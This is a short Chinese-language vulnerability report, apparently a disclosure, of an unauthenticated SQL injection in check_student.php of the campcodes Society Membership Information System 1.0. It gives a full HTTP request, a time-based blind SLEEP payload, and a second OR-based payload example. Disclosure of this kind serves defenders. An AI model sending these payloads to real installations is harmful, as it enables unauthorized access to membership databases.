关键信息 漏洞类型: SQL Injection 受影响系统: society-membership-information-system 1.0 ISSM/check_student.php 下载链接: https://www.campcodes.com/downloads/society-membership-information-system-using-php-mysql-source-code#google_vignette 审计结果: SQL注入可以在没有身份验证的情况下成功执行。 测试请求: - POST /ISSM/check_student.php HTTP/1.1 - Host: 127.0.0.1 - X-Requested-With: XMLHttpRequest - Sec-Fetch-Site: same-origin - Referer: http://127.0.0.1/ISSM/ - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Content-Length: 12 测试Payload: student_id=1 AND (SELECT 4914 FROM (SELECT(SLEEP(5)))Vnbd)-- Cear 响应时间: 显示延迟，表明SQL注入成功。 分类: 基于时间的盲注 标签: MySQL >= 5.0 OR error-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MySQL comment) Payload示例: student_id=-7407' OR 23446=23444